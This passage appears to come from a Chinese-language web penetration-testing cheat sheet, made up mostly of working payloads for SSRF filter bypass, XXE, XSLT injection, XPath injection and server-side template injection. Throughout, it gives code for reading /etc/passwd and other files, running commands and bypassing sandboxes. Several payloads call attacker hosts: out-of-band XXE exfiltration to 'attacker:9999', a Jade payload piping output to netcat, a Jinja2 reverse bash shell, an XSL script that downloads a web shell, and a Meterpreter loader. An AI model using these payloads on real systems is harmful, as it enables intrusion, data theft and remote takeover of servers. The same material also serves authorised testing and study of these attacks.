<img src="echopwn" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
```

cat attachment.bin

**Bypass**

**本地绕过**

```
http://127.0.0.1=http://localhost
```

**使用 HTTPS 绕过**

```
https://127.0.0.1/
https://localhost/
```

**\[::]绕过**

```
http://[::]:80=http://127.0.0.1
http://[::]:80/
http://[::]:25/ SMTP
http://[::]:22/ SSH
http://[::]:3128/ Squid
http://0000::1:80/
http://0000::1:25/ SMTP
http://0000::1:22/ SSH
http://0000::1:3128/ Squid
```

**@绕过**

```
http://www.xx.com/1.php?url=http://www.xx.com@127.0.0.1:8080
```

**利用短网址**

```
http://tool.chinaz.com/tools/dwz.aspx
http://dwz.cn/
```

**DNS解析**

```
http://spoofed.burpcollaborator.net
http://localtest.me
http://customer1.app.localhost.my.company.127.0.0.1.nip.io
http://mail.ebc.apple.com redirect to 127.0.0.6 == localhost
http://bugbounty.dod.network redirect to 127.0.0.2 == localhost
http://www.qq.com.127.0.0.1.xip.io，可解析为127.0.0.1
自己域名设置A记录，指向127.0.0.1
```

**进制转换**

```
127.0.0.1
八进制
http://0177.0.0.1/ = http://127.0.0.1
http://o177.0.0.1/ = http://127.0.0.1
http://0o177.0.0.1/ = http://127.0.0.1
http://q177.0.0.1/ = http://127.0.0.1
十六进制：0x7f.0.0.1
十进制
http://2130706433/ = http://127.0.0.1
http://3232235521/ = http://192.168.0.1
http://3232235777/ = http://192.168.1.1
http://2852039166/  = http://169.254.169.254
http://www.bejson.com/convert/ip2int/
```

**句号**

```
127。0。0。1
```

**302脚本**

```
<?php
$ip = $_GET['ip'];
$port = $_GET['port'];
$scheme = $_GET['s'];
$data = $_GET['data'];
header("Location: $scheme://$ip:$port/$data");
?>
攻击方VPS监听8080
```

**dict协议**

```
dict://www.attack.com:8080/hello:dict等于
ssrf.php?url=http://attack.com/302.php?s=dict&ip=www.attack.com&port=8080&data=hello:dict
```

**Gopher协议**

```
gopher:// www.attack.com:8080/gopher
ssrf.php?url=http://attack.com/302.php?s=gopher&ip=www.attack.com&port=8080&data=gopher
```

**File协议**

```
攻击机新建file.php
<?php
header("Location: file:///etc/passwd");
?>
ssrf.php?url=http://attack.com/file.php
```

**使用 CIDR 绕过**

```
http://127.127.127.127
http://127.0.1.3
http://127.0.0.0
```

**使用 IPv6/IPv4 地址嵌入绕过**

```
http://[0:0:0:0:0:ffff:127.0.0.1]
```

**使用格式错误的 url 绕过**

```
localhost:+11211aaa
localhost:00011211aaaa
```

**使用稀有地址绕过**

```
http://0/
http://127.1
http://127.0.1
```

**使用 URL 编码绕过**

```
http://127.0.0.1/%61dmin
http://127.0.0.1/%2561dmin
```

**使用 bash 变量绕过**

```
仅限CURL
curl -v "http://evil$google.com"
$google = ""
```

**使用技巧组合绕过**

```
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
urllib2 : 1.1.1.1
requests + browsers : 2.2.2.2
urllib : 3.3.3.3
```

**使用封闭的字母数字绕过**

```
http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ = example.com
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
```

**使用 unicode 绕过**

```
在某些语言（.NET、Python 3）中，正则表达式默认支持 unicode。 \d包括0123456789
```

**绕过php 函数filter\_var()**

```
0://evil.com:80;http://google.com:80/ 
```

**绕过弱解析器**

```
http://127.1.1.1:80\@127.2.2.2:80/
http://127.1.1.1:80\@@127.2.2.2:80/
http://127.1.1.1:80:\@@127.2.2.2:80/
http://127.1.1.1:80#\@127.2.2.2:80/
```

**使用重定向绕过**

```
1. 在白名单主机上创建一个页面，将请求重定向的SSRF到目标 URL（例如 192.168.0.1）
2.启动 SSRF vulnerable.com/index.php?url=http://YOUR_SERVER_IP vulnerable.com将获取 YOUR_SERVER_IP 将重定向到 192.168.0.1
3.您可以使用响应码[307](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/307)和[308](https://developer.mozilla.org/ en-US/docs/Web/HTTP/Status/308) 以便在重定向后保留 HTTP 方法。
```

**使用 type=url 绕过**

```
把"type=file" 改为"type=url"
在文本字段中粘贴 URL，然后按回车
使用此漏洞，用户可以从任何图像URL上传图像 = 触发 SSRF
```

**使用 DNS 重新绑定 (TOCTOU) 绕过**

```
创建一个在两个 IP 之间更改的域。 http://1u.ms/ 
例如，要在 1.2.3.4 和 169.254-169.254 之间轮换，请使用以下域：
make-1.2.3.4-rebind-169.254-169.254-rr.1u.ms
```

**使用 jar 协议绕过（仅限 java）**

```
jar:scheme://domain/path!/ 
jar:http://127.0.0.1!/
jar:https://127.0.0.1!/
jar:ftp://127.0.0.1!/
```


# XML

```
XML设计的宗旨是传输数据，而非显示数据
XXE=XML外部实体注入、XML=可扩展标记语言
Xml文件声明
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
DTD为XML的文档类型定义
引入外部DTD
<!DOCTYPE 根元素 SYSTEM "filename">
参数实体+外部实体
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
	<!ENTITY % file SYSTEM "file:///etc/passwd">
	%file;
]>
```

**XML注入**

```
闭合标签，改写xml文件，用户可控，有拼接代码
<?xml version="1.0" encoding="utf-8"?>
<manager>
	<admin id="1">
<username>admin</username>
<password>admin</password>
</admin>
<admin id="2">
<username>root</username>
<password>root</password>
</admin>
</manager>
若是password可控，拼接代码形成注入
admin </password></admin><admin id="3"><name>hack</name><password>hacker</password></admin>
```

**XXE**

```
https://github.com/AonCyberLabs/xxe-recursive-download
程序解析XML输入时，未禁止外部实体的加载，造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害
```

**判断**

```
回显路径
	<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY % remote SYSTEM "test">%remote;]>
DNSLOG
	http://www.dnslog.cn/
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY dtd SYSTEM "http://xxx.dnslog.cn/xxe">]>
<xxe>&dtd;</xxe>
Webdav
	存在webdav可使用PROPPATCH、PROPFIND、 LOCK等请求方法接受xml输入形成xxe
Wsdl使用AWVS测试
```

**挖掘**

```
如遇与xml交互的地方
<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE ANY [  
<!ENTITY test "this is test"> 
]> 
<root>&test;</root>
看是否输出
检查是否支持外部实体
<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE ANY [  
<!ENTITY % foo SYSTEM "http://attacker/evil.xml"> 
%foo;
]> 
查看你的服务器是否有请求
JSON content-type XXE
修改Content-Type: application/xml
X-Requested-With: XMLHttpRequest
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<参数name>name</参数name>
<参数value>&xxe;</ 参数value>
</root>

<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]><root>&test;</root>

<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>&file;</data>

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [  
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [  
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>
```

**有回显读取本地文件**

```
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [  
<!ENTITY goodies SYSTEM "file:////etc/passwd"> ]> 
<creds>&goodies;</creds>
也可去掉文件列目录
file:///root/.sh/id_rsa
特殊字符
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">   
<!ENTITY % goodies SYSTEM "file:////tmp/xxx.txt">  
<!ENTITY % end "]]>">  
<!ENTITY % dtd SYSTEM "http://attacker/evil.dtd"> 
%dtd; ]> 
<roottag>&all;</roottag>
evil.dtd
<?xml version="1.0" encoding="UTF-8"?> 
<!ENTITY all "%start;%goodies;%end;">
```

**Blind OOB XXE无回显读取**

```
需使用参数实体，引用外部DTD
Payload
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>
test.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://attacker:9999?p=%file;'>">
```

**列目录**

```
远程payload
<!ENTITY % a SYSTEM "file:///"> <!ENTITY % b "<!ENTITY &#37; c SYSTEM 'gopher://ip:80/%a;'>"> %b; %c;
注入payload
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY % remote SYSTEM "http://attacker:80/1.xml">%remote;]><root/>

不同平台支持的协议
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/11.png)

**执行命令**

```
安装expect扩展的PHP环境里执行系统命令，其他协议也有可能可以执行系统命令。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<root>
<name>&xxe;</name>
</root>
```

**内网主机探测**

```
可先读取/etc/network/interfaces、/proc/net/arp、/etc/hosts等文件查询IP段
使用脚本
```

**内网端口扫描**

```
<?xml version="1.0" encoding="utf-8"?>  
<!DOCTYPE data SYSTEM "http://127.0.0.1:515/" [  
<!ELEMENT data (#PCDATA)>  
]>
<data>4</data>
可使用burpsuite的intruder模块进行遍历
```

**内部DTD利用**

```
Linux
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa 'Your DTD code'>
%local_dtd;
Windows
<!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
<!ENTITY % SuperClass '>Your DTD code<!ENTITY test "test"'>
%local_dtd;
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd">

<!ENTITY % condition 'aaa)>
    <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
    <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
    &#x25;eval;
    &#x25;error;
    <!ELEMENT aa (bb'>

%local_dtd;
]>
<message>any text</message>
```

**XXE写shell**

```
当XXE支持XSL时
<?xml version='1.0'?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="http://mycompany.com/mynamespace">
<msxsl:script language="C#" implements-prefix="user">
<![CDATA[
public string xml()
{
    System.Net.WebClient webClient = new System.Net.WebClient();
    webClient.DownloadFile("https://x.x.x.x/shell.txt",
                   @"c:\inetpub\wwwroot\shell.aspx");

return "Exploit Success";
}
]]>
</msxsl:script>
<xsl:template match="/">
<xsl:value-of select="user:xml()"/>
</xsl:template>
</xsl:stylesheet>
```

**XXE 进行 SSRF**

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://internal.service/secret_pass.txt" >
]>
<foo>&xxe;</foo>
```

**XXE 进行拒绝服务攻击**

```
<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>
```

**基于报错的XXE**

```
PAYLOAD:
<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % ext SYSTEM "http://attacker.com/ext.dtd">
    %ext;
]>
ext.dtd 的内容
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
<message></message>
```

**工具**

```
https://github.com/staaldraad/xxeserv
https://github.com/lc/230-OOB
https://github.com/enjoiz/XXEinjector
https://github.com/BuffaloWill/oxml_xxe
https://github.com/whitel1st/docem
http://www.beneaththewaves.net/Software/On_The_Outside_Reaching_In.html
```

**XSLT注入**

**确定版本**

```xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/fruits">
	<xsl:value-of select="system-property('xsl:vendor')"/>
  </xsl:template>
</xsl:stylesheet>
```

```xml
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body>
<br />Version: <xsl:value-of select="system-property('xsl:version')" />
<br />Vendor: <xsl:value-of select="system-property('xsl:vendor')" />
<br />Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" />
</body>
</html>
```

**外部实体**

```xml
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "C:\secretfruit.txt">]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/fruits">
    Fruits &ext_file;:
    <!-- Loop for each fruit -->
    <xsl:for-each select="fruit">
      <!-- Print name: description -->
      - <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
    </xsl:for-each>
  </xsl:template>

</xsl:stylesheet>
```

**读取文件和SSRF**

```xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/fruits">
    <xsl:copy-of select="document('http://172.16.132.1:25')"/>
    <xsl:copy-of select="document('/etc/passwd')"/>
    <xsl:copy-of select="document('file:///c:/winnt/win.ini')"/>
    Fruits:
	    <!-- Loop for each fruit -->
    <xsl:for-each select="fruit">
      <!-- Print name: description -->
      - <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
    </xsl:for-each>
  </xsl:template>
</xsl:stylesheet>
```

**使用嵌入式脚本块远程执行代码**

```xml
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="urn:my-scripts">

<msxsl:script language = "C#" implements-prefix = "user">
<![CDATA[
public string execute(){
System.Diagnostics.Process proc = new System.Diagnostics.Process();
proc.StartInfo.FileName= "C:\\windows\\system32\\cmd.exe";
proc.StartInfo.RedirectStandardOutput = true;
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.Arguments = "/c dir";
proc.Start();
proc.WaitForExit();
return proc.StandardOutput.ReadToEnd();
}
]]>
</msxsl:script>

  <xsl:template match="/fruits">
  --- BEGIN COMMAND OUTPUT ---
	<xsl:value-of select="user:execute()"/>
  --- END COMMAND OUTPUT ---	
  </xsl:template>
</xsl:stylesheet>
```

**使用 PHP wrapper执行远程代码**

```
执行函数readfile
```

```xml
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body>
<xsl:value-of select="php:function('readfile','index.php')" />
</body>
</html>
```

```
执行函数scandir
```

```xml
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" version="1.0">
        <xsl:template match="/">
                <xsl:value-of name="assert" select="php:function('scandir', '.')"/>
        </xsl:template>
</xsl:stylesheet>
```

```
使用assert执行远程php文件
```

```xml
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
		<xsl:variable name="payload">
			include("http://10.10.10.10/test.php")
		</xsl:variable>
		<xsl:variable name="include" select="php:function('assert',$payload)"/>
</body>
</html>
```

```
执行 PHP Meterpreter
```

```xml
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" version="1.0">
        <xsl:template match="/">
                <xsl:variable name="eval">
                        eval(base64_decode('Base64-encoded Meterpreter code'))
                </xsl:variable>
                <xsl:variable name="preg" select="php:function('preg_replace', '/.*/e', $eval, '')"/>
        </xsl:template>
</xsl:stylesheet>
```

```
使用 Java 远程执行代码
```

```xml
  <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
    <xsl:template match="/">
      <xsl:variable name="rtobject" select="rt:getRuntime()"/>
      <xsl:variable name="process" select="rt:exec($rtobject,'ls')"/>
      <xsl:variable name="processString" select="ob:toString($process)"/>
      <xsl:value-of select="$processString"/>
    </xsl:template>
  </xsl:stylesheet>
```

```xml
<xml version="1.0"?>
<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:java="http://saxon.sf.net/java-type">
<xsl:template match="/">
<xsl:value-of select="Runtime:exec(Runtime:getRuntime(),'cmd.exe /C ping IP')" xmlns:Runtime="java:java.lang.Runtime"/>
</xsl:template>.
</xsl:stylesheet>
```

```
使用本机 .NET 远程执行代码
```

```xml
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:App="http://www.tempuri.org/App">
    <msxsl:script implements-prefix="App" language="C#">
      <![CDATA[
        public string ToShortDateString(string date)
          {
              System.Diagnostics.Process.Start("cmd.exe");
              return "01/01/2001";
          }
      ]]>
    </msxsl:script>
    <xsl:template match="ArrayOfTest">
      <TABLE>
        <xsl:for-each select="Test">
          <TR>
          <TD>
            <xsl:value-of select="App:ToShortDateString(TestDate)" />
          </TD>
          </TR>
        </xsl:for-each>
      </TABLE>
    </xsl:template>
  </xsl:stylesheet>
```


# Xpath注入

**类似sql注入**

```
"string(//user[name/text()='" +vuln_var1+ "' and password/text()=’" +vuln_var1+ "']/account/text())"
' or '1'='1
' or ''='
x' or 1=1 or 'x'='y
/
//
//*
*/*
@*
count(/child::node())
x' or name()='username' or 'x'='y
' and count(/*)=1 and '1'='1
' and count(/@*)=1 and '1'='1
' and count(/comment())=1 and '1'='1
search=')] | //user/*[contains(*,'
search=Har') and contains(../password,'c
search=Har') and starts-with(../password,'c
```

**盲注**

```
字符串的大小
and string-length(account)=SIZE_INT
提取一个字符
substring(//user[userid=5]/username,2,1)=CHAR_HERE
substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
```

**OOB**

```
http://example.com/?title=Foundation&type=*&rent_days=* and doc('//10.10.10.10/SHARE')
```

**工具**

```
https://github.com/orf/xcat
https://github.com/feakk/xxxpwn
https://github.com/aayla-secura/xxxpwn_smart
https://github.com/micsoftvn/xpath-blind-explorer
https://github.com/Harshal35/XMLCHOR
```


# SSTI

```
SSTI 服务端模板注入
```

**ASP.NET Razor**

```
@(1+2)
命令执行
@{
  // C# code
}
```

**EL**

```
${1+1}
#{1+1}
不包括代码执行
// DNS Lookup
${"".getClass().forName("java.net.InetAddress").getMethod("getByName","".getClass()).invoke("","xxxxxxxxxxxxxx.burpcollaborator.net")}

// JVM 系统属性查找 (ex: java.class.path)
${"".getClass().forName("java.lang.System").getDeclaredMethod("getProperty","".getClass()).invoke("","java.class.path")}
代码执行
RCE payloads
''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(<COMMAND STRING/ARRAY>)
''.class.forName('java.lang.ProcessBuilder').getDeclaredConstructors()[1].newInstance(<COMMAND ARRAY/LIST>).start()

使用Runtime
#{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])}
#{session.getAttribute("rtc").setAccessible(true)}
#{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")}

使用processbuilder
${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())}
${request.getAttribute("c").add("cmd.exe")}
${request.getAttribute("c").add("/k")}
${request.getAttribute("c").add("ping x.x.x.x")}
${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
${request.getAttribute("a")}

使用Reflection & Invoke
${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("calc.exe")}

使用ScriptEngineManager one-liner
${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))}

使用ScriptEngineManager
${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"wget\\\",\\\"http://x.x.x.x/1.sh\\\");org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\"))}
```

**Freemarker**

```
${3*3}
#{3*3}
读取文件
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('path_to_the_file').toURL().openStream().readAllBytes()?join(" ")}
将返回的字节转换为 ASCII
代码执行
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
沙盒绕过-2.3.30 以下
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
```

**Groovy**

```
https://groovy-lang.org/syntax.html
${9*9}
读取和创建文件
${String x = new File('c:/windows/notepad.exe').text}
${String x = new File('/path/to/file').getText('UTF-8')}
${new File("C:\Temp\FileName.txt").createNewFile();}
HTTP 请求
${"http://www.google.com".toURL().text}
${new URL("http://www.google.com").getText()}
命令执行
${"calc.exe".exec()}
${"calc.exe".execute()}
${this.evaluate("9*9") //(this is a Script class)}
${new org.codehaus.groovy.runtime.MethodClosure("calc.exe","execute").call()}
沙盒绕过
${ @ASTTest(value={assert java.lang.Runtime.getRuntime().exec("whoami")})
def x }
或
${ new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x") }
```

**Handlebars**

```
命令执行
{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').execSync('ls -la');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}
```

**Jade / Codepen**

```
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')

#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
```

**JAVA**

```
基本注入
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
检索系统的环境变量
${T(java.lang.System).getenv()}
读取/etc/passwd
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
```

**Jinja2**

```
基本注入
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
{{config.items()}}

<div data-gb-custom-block data-tag="extends" data-0='layout.html'></div>
<div data-gb-custom-block data-tag="block">
  <ul>
  <div data-gb-custom-block data-tag="for">
    <li><a href="{{ user.url }}">{{ user.username }}</a></li>
  </div>
  </ul>
</div>
debug
<pre><div data-gb-custom-block data-tag="debug"></div></pre>
转储所有使用的类
{{ [].class.base.subclasses() }}
{{''.class.mro()[1].subclasses()}}
{{ ''.__class__.__mro__[2].__subclasses__() }}
转储所有配置变量
<div data-gb-custom-block data-tag="for">
    <dt>{{ key|e }}</dt>
    <dd>{{ value|e }}</dd>
</div>
远程读取文件
# ''.__class__.__mro__[2].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
{{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/tmp/flag").read() }}
# https://github.com/pallets/flask/blob/master/src/flask/helpers.py#L398
{{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}
远程写入文件
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
远程代码执行
监听nc -lnvp 8000
通过调用 os.popen().read() 来利用 SSTI
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}

{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}

{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
较短的payload
{{ cycler.__init__.__globals__.os.popen('id').read() }}

{{ joiner.__init__.__globals__.os.popen('id').read() }}

{{ namespace.__init__.__globals__.os.popen('id').read() }}
通过调用 subprocess.Popen 来 SSTI
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
调用 Popen 来利用 SSTI 而无需猜测偏移量
<div data-gb-custom-block data-tag="for"><div data-gb-custom-block data-tag="if" data-0='warning'>{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}</div></div>
https://twitter.com/SecGus/status/1198976764351066113
只需修改payload以清理输出，在另一个 GET 参数中包含一个名为“input”的变量，其中包含您要运行的命令（例如： &输入=ls)
<div data-gb-custom-block data-tag="for"><div data-gb-custom-block data-tag="if" data-0='warning'>{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}</div></div>
编写恶意配置文件来利用 SSTI
# 恶意配置文件
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}

# 加载
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}  

# 反弹
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
绕过过滤
request.__class__
request["__class__"]
绕过 _
http://localhost:5000/?exploit={{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}&class=class&usc=_

{{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}
{{request|attr(["_"*2,"class","_"*2]|join)}}
{{request|attr(["__","class","__"]|join)}}
{{request|attr("__class__")}}
